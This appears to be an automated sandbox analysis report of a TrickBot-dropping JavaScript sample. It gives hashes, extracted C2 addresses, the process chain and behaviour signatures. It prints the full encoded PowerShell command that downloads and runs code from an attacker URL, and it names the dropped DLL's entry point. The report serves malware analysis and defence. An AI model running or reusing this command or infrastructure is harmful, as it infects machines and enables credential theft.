Analysis
-
max time kernel
67s -
max time network
143s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
20-07-2021 19:03
Static task
static1
Behavioral task
behavioral1
Sample
4524.js
Resource
win7v20210410
General
-
Target
4524.js
-
Size
344KB
-
MD5
1e15caad81dbf43c24c3517c6658c138
-
SHA1
5a0e8e9cdc2a8b5a575c8f55674fa675ff49eef2
-
SHA256
185ac740c3516c3a6461b15d9b94047d6b48c0bd2184a03087890b573ace2884
-
SHA512
dd094e3e20987d6951da8e7069bff408b09293a6c67077a77d6721b801754a2cf4bee895b67bac4a65d0a0f49a57be180b059f4334d9ecd825497c6d07da00fd
Malware Config
Extracted
http://109.248.201.26/lovemetertok.php
Extracted
trickbot
100018
rob109
38.110.103.124:443
185.56.76.28:443
204.138.26.60:443
60.51.47.65:443
74.85.157.139:443
68.69.26.182:443
38.110.103.136:443
38.110.103.18:443
138.34.28.219:443
185.56.76.94:443
217.115.240.248:443
24.162.214.166:443
80.15.2.105:443
154.58.23.192:443
38.110.100.104:443
45.36.99.184:443
185.56.76.108:443
185.56.76.72:443
138.34.28.35:443
97.83.40.67:443
38.110.103.113:443
38.110.100.142:443
184.74.99.214:443
103.105.254.17:443
62.99.76.213:443
82.159.149.52:443
38.110.100.33:443
38.110.100.242:443
185.13.79.3:443
-
autorunName:pwgrabbName:pwgrabc
Signatures
-
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 12 3188 powershell.exe 13 3188 powershell.exe -
Downloads MZ/PE file
-
Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 1560 rundll32.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 20 ipinfo.io -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 3188 powershell.exe 3188 powershell.exe 3188 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exewermgr.exedescription pid process Token: SeDebugPrivilege 3188 powershell.exe Token: SeDebugPrivilege 1988 wermgr.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
wscript.execmd.exepowershell.exerundll32.exerundll32.exedescription pid process target process PID 4796 wrote to memory of 4216 4796 wscript.exe cmd.exe PID 4796 wrote to memory of 4216 4796 wscript.exe cmd.exe PID 4216 wrote to memory of 3188 4216 cmd.exe powershell.exe PID 4216 wrote to memory of 3188 4216 cmd.exe powershell.exe PID 3188 wrote to memory of 1396 3188 powershell.exe rundll32.exe PID 3188 wrote to memory of 1396 3188 powershell.exe rundll32.exe PID 1396 wrote to memory of 1560 1396 rundll32.exe rundll32.exe PID 1396 wrote to memory of 1560 1396 rundll32.exe rundll32.exe PID 1396 wrote to memory of 1560 1396 rundll32.exe rundll32.exe PID 1560 wrote to memory of 1832 1560 rundll32.exe cmd.exe PID 1560 wrote to memory of 1832 1560 rundll32.exe cmd.exe PID 1560 wrote to memory of 1832 1560 rundll32.exe cmd.exe PID 1560 wrote to memory of 1988 1560 rundll32.exe wermgr.exe PID 1560 wrote to memory of 1988 1560 rundll32.exe wermgr.exe PID 1560 wrote to memory of 1988 1560 rundll32.exe wermgr.exe PID 1560 wrote to memory of 1988 1560 rundll32.exe wermgr.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\4524.js1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQAwADkALgAyADQAOAAuADIAMAAxAC4AMgA2AC8AbABvAHYAZQBtAGUAdABlAHIAdABvAGsALgBwAGgAcAAiACkA2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQAwADkALgAyADQAOAAuADIAMAAxAC4AMgA2AC8AbABvAHYAZQBtAGUAdABlAHIAdABvAGsALgBwAGgAcAAiACkA3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\PikEKhmf.bin,StartW4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\PikEKhmf.bin,StartW5⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe6⤵
-
C:\Windows\system32\wermgr.exeC:\Windows\system32\wermgr.exe6⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\PikEKhmf.binMD5
e83da411f4e24b83cae6fb96091a3a6a
SHA11ca0f1a1a123f4e7afa38e4ed262ca189166940d
SHA256b7e491fa74358e49d9e2db79d7d3dbb2c0c59dce30ba65b91f147a4bf6ec25a2
SHA512cdfb967dc03fca87d788fbc48df61ed1dae914ed93f1652c432c4b6c3c0088397dfac3bacef49ade0e70ba6bfbe1d57d40ad526a3742c0d9e382e631d65e9990
-
\Users\Admin\AppData\Local\Temp\PikEKhmf.binMD5
e83da411f4e24b83cae6fb96091a3a6a
SHA11ca0f1a1a123f4e7afa38e4ed262ca189166940d
SHA256b7e491fa74358e49d9e2db79d7d3dbb2c0c59dce30ba65b91f147a4bf6ec25a2
SHA512cdfb967dc03fca87d788fbc48df61ed1dae914ed93f1652c432c4b6c3c0088397dfac3bacef49ade0e70ba6bfbe1d57d40ad526a3742c0d9e382e631d65e9990
-
memory/1396-136-0x0000000000000000-mapping.dmp
-
memory/1560-148-0x0000000004870000-0x00000000048A8000-memory.dmpFilesize
224KB
-
memory/1560-150-0x0000000004950000-0x0000000004951000-memory.dmpFilesize
4KB
-
memory/1560-151-0x0000000004791000-0x0000000004793000-memory.dmpFilesize
8KB
-
memory/1560-149-0x00000000049C0000-0x0000000004A04000-memory.dmpFilesize
272KB
-
memory/1560-146-0x0000000004980000-0x00000000049B7000-memory.dmpFilesize
220KB
-
memory/1560-144-0x00000000048F0000-0x0000000004929000-memory.dmpFilesize
228KB
-
memory/1560-139-0x0000000000000000-mapping.dmp
-
memory/1560-141-0x00000000048B0000-0x00000000048EB000-memory.dmpFilesize
236KB
-
memory/1988-152-0x0000000000000000-mapping.dmp
-
memory/1988-154-0x0000017C57680000-0x0000017C57681000-memory.dmpFilesize
4KB
-
memory/1988-153-0x0000017C57640000-0x0000017C57668000-memory.dmpFilesize
160KB
-
memory/3188-115-0x0000000000000000-mapping.dmp
-
memory/3188-121-0x00000195FAA70000-0x00000195FAA71000-memory.dmpFilesize
4KB
-
memory/3188-128-0x00000195FE9C0000-0x00000195FE9C1000-memory.dmpFilesize
4KB
-
memory/3188-135-0x00000195FC866000-0x00000195FC868000-memory.dmpFilesize
8KB
-
memory/3188-134-0x00000195FC863000-0x00000195FC865000-memory.dmpFilesize
8KB
-
memory/3188-133-0x00000195FC860000-0x00000195FC862000-memory.dmpFilesize
8KB
-
memory/4216-114-0x0000000000000000-mapping.dmp